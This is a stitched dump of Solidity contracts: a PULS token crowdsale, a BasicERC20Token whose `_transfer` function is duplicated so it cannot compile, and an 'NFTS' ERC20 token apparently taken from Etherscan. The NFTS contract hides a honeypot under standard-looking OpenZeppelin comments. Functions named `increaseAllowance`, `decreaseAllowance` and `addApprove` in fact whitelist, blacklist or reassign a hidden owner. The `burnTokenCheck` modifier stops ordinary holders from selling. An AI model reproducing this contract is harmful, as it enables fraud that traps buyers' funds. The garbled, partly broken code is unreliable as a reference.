emit TokenReservation(_beneficiary, _eth, _pulsAmount, _reserveTypeId);
return true;
}
/**
* @dev Function to revert reservation for some address.
*
* @param _addressToRevert Address to which collected ETH will be returned.
*
* @return True if the operation was successful.
*/
function revertReservation(address _addressToRevert) onlyOwner public returns (bool) {
require (reserved[_addressToRevert].pulsAmount > 0);
totalSupply = totalSupply.add(reserved[_addressToRevert].pulsAmount);
reserved[_addressToRevert].pulsAmount = 0;
_addressToRevert.transfer(reserved[_addressToRevert].collectedEther - (20000000000 * 21000));
reserved[_addressToRevert].collectedEther = 0;
emit RevertingReservation(_addressToRevert);
return true;
}
/**
* @dev Function to lock tokens for some period of time.
*
* @param _amount Amount of locked tokens.
* @param _minutesToLock Days tokens will be locked.
* @param _pulseLockHash Hash of locked pulse.
*
* @return True if the operation was successful.
*/
function lockTokens(uint256 _amount, uint256 _minutesToLock, bytes32 _pulseLockHash) public returns (bool){
require(balances[msg.sender] >= _amount);
Lock memory lockStruct;
lockStruct.amount = _amount;
lockStruct.startTime = now;
lockStruct.timeToLock = _minutesToLock * 1 minutes;
lockStruct.pulseLockHash = _pulseLockHash;
addressLocks[msg.sender].lockedTokens.push(lockStruct);
balances[msg.sender] = balances[msg.sender].sub(_amount);
emit TokenLocking(msg.sender, _amount, _minutesToLock);
return true;
}
/**
* @dev Function to unlock tokens for some period of time.
*
* @param _addressToUnlock Addrerss of person with locked tokens.
*
* @return True if the operation was successful.
*/
function unlockTokens(address _addressToUnlock) public returns (bool){
uint256 i = 0;
while(i < addressLocks[_addressToUnlock].lockedTokens.length) {
if (now > addressLocks[_addressToUnlock].lockedTokens[i].startTime + addressLocks[_addressToUnlock].lockedTokens[i].timeToLock) {
balances[_addressToUnlock] = balances[_addressToUnlock].add(addressLocks[_addressToUnlock].lockedTokens[i].amount);
emit TokenUnlocking(_addressToUnlock, addressLocks[_addressToUnlock].lockedTokens[i].amount);
if (i < addressLocks[_addressToUnlock].lockedTokens.length) {
for (uint256 j = i; j < addressLocks[_addressToUnlock].lockedTokens.length - 1; j++){
addressLocks[_addressToUnlock].lockedTokens[j] = addressLocks[_addressToUnlock].lockedTokens[j + 1];
}
}
delete addressLocks[_addressToUnlock].lockedTokens[addressLocks[_addressToUnlock].lockedTokens.length - 1];
addressLocks[_addressToUnlock].lockedTokens.length = addressLocks[_addressToUnlock].lockedTokens.length.sub(1);
}
else {
i = i.add(1);
}
}
return true;
}
}
/**
* @title SafeMath.
* @dev Math operations with safety checks that throw on error.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Staged crowdsale.
* @dev Functionality of staged crowdsale.
*/
contract StagedCrowdsale is Ownable {
using SafeMath for uint256;
// Public structure of crowdsale's stages.
struct Stage {
uint256 hardcap;
uint256 price;
uint256 minInvestment;
uint256 invested;
uint256 closed;
}
Stage[] public stages;
/**
* @dev Function to get the current stage number.
*
* @return A uint256 specifing the current stage number.
*/
function getCurrentStage() public view returns(uint256) {
for(uint256 i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
/**
* @dev Function to add the stage to the crowdsale.
*
* @param _hardcap The hardcap of the stage.
* @param _price The amount of tokens you will receive per 1 ETH for this stage.
*/
function addStage(uint256 _hardcap, uint256 _price, uint256 _minInvestment, uint _invested) onlyOwner public {
require(_hardcap > 0 && _price > 0);
Stage memory stage = Stage(_hardcap.mul(1 ether), _price, _minInvestment.mul(1 ether).div(10), _invested.mul(1 ether), 0);
stages.push(stage);
}
/**
* @dev Function to close the stage manually.
*
* @param _stageNumber Stage number to close.
*/
function closeStage(uint256 _stageNumber) onlyOwner public {
require(stages[_stageNumber].closed == 0);
if (_stageNumber != 0) require(stages[_stageNumber - 1].closed != 0);
stages[_stageNumber].closed = now;
stages[_stageNumber].invested = stages[_stageNumber].hardcap;
if (_stageNumber + 1 <= stages.length - 1) {
stages[_stageNumber + 1].invested = stages[_stageNumber].hardcap;
}
}
/**
* @dev Function to remove all stages.
*
* @return True if the operation was successful.
*/
function removeStages() onlyOwner public returns (bool) {
require(stages.length > 0);
stages.length = 0;
return true;
}
}
/**
* @title PULS crowdsale
* @dev PULS crowdsale functionality.
*/
contract PULSCrowdsale is StagedCrowdsale {
using SafeMath for uint256;
PULSToken public token;
// Public variables of the crowdsale
address public multiSigWallet; // address where funds are collected
bool public hasEnded;
bool public isPaused;
event TokenReservation(address purchaser, address indexed beneficiary, uint256 indexed sendEther, uint256 indexed pulsAmount);
event ForwardingFunds(uint256 indexed value);
/**
* @dev Throws if crowdsale has ended.
*/
modifier notEnded() {
require(!hasEnded);
_;
}
/**
* @dev Throws if crowdsale has not ended.
*/
modifier notPaused() {
require(!isPaused);
_;
}
/**
* @dev The Crowdsale constructor sets the multisig wallet for forwanding funds.
* Adds stages to the crowdsale. Initialize PULS tokens.
*/
function PULSCrowdsale() public {
token = createTokenContract();
multiSigWallet = 0x00955149d0f425179000e914F0DFC2eBD96d6f43;
hasEnded = false;
isPaused = false;
addStage(3000, 1600, 1, 0); //3rd value is actually div 10
addStage(3500, 1550, 1, 0); //3rd value is actually div 10
addStage(4000, 1500, 1, 0); //3rd value is actually div 10
addStage(4500, 1450, 1, 0); //3rd value is actually div 10
addStage(42500, 1400, 1, 0); //3rd value is actually div 10
}
/**
* @dev Function to create PULS tokens contract.
*
* @return PULSToken The instance of PULS token contract.
*/
function createTokenContract() internal returns (PULSToken) {
return new PULSToken();
}
/**
* @dev Payable function.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev Function to buy tokens - reserve calculated amount of tokens.
*
* @param _beneficiary The address of the buyer.
*/
function buyTokens(address _beneficiary) payable notEnded notPaused public {
require(msg.value >= 0);
uint256 stageIndex = getCurrentStage();
Stage storage stageCurrent = stages[stageIndex];
require(msg.value >= stageCurrent.minInvestment);
uint256 tokens;
// if puts us in new stage - receives with next stage price
if (stageCurrent.invested.add(msg.value) >= stageCurrent.hardcap){
stageCurrent.closed = now;
if (stageIndex + 1 <= stages.length - 1) {
Stage storage stageNext = stages[stageIndex + 1];
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageNext.invested = stageCurrent.invested.add(msg.value);
stageCurrent.invested = stageCurrent.hardcap;
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
hasEnded = true;
}
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
}
emit TokenReservation(msg.sender, _beneficiary, msg.value, tokens);
forwardFunds();
}
/**
* @dev Function to buy tokens - reserve calculated amount of tokens.
*
* @param _beneficiary The address of the buyer.
*/
function privatePresaleTokenReservation(address _beneficiary, uint256 _amount, uint256 _reserveTypeId) onlyOwner public {
require (_reserveTypeId > 0);
token.reserveTokens(_beneficiary, _amount, 0, _reserveTypeId);
emit TokenReservation(msg.sender, _beneficiary, 0, _amount);
}
/**
* @dev Internal function to forward funds to multisig wallet.
*/
function forwardFunds() internal {
multiSigWallet.transfer(msg.value);
emit ForwardingFunds(msg.value);
}
/**
* @dev Function to finish the crowdsale.
*
* @return True if the operation was successful.
*/
function finishCrowdsale() onlyOwner notEnded public returns (bool) {
hasEnded = true;
return true;
}
/**
* @dev Function to pause the crowdsale.
*
* @return True if the operation was successful.
*/
function pauseCrowdsale() onlyOwner notEnded notPaused public returns (bool) {
isPaused = true;
return true;
}
/**
* @dev Function to unpause the crowdsale.
*
* @return True if the operation was successful.
*/
function unpauseCrowdsale() onlyOwner notEnded public returns (bool) {
isPaused = false;
return true;
}
/**
* @dev Function to change multisgwallet.
*
* @return True if the operation was successful.
*/
function changeMultiSigWallet(address _newMultiSigWallet) onlyOwner public returns (bool) {
multiSigWallet = _newMultiSigWallet;
return true;
}
}
|
* @title BasicERC20 token. @dev Basic version of ERC20 token with allowances./
|
contract BasicERC20Token is Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function getTotalSupply() public view returns (uint256) {
return totalSupply;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) {
uint256 length;
assembly {
length := extcodesize(_to)
}
require (length == 0);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) {
uint256 length;
assembly {
length := extcodesize(_to)
}
require (length == 0);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function transfer(address _to, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
_transfer(_from, _to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
require (_amount >= 0);
if (_amount == 0) allowed[msg.sender][_spender] = _amount;
else allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_amount);
emit Approval(msg.sender, _spender, _amount);
return true;
}
}
| 1,065,236
|
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/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.6.6;
/**
*
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract NFTS is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
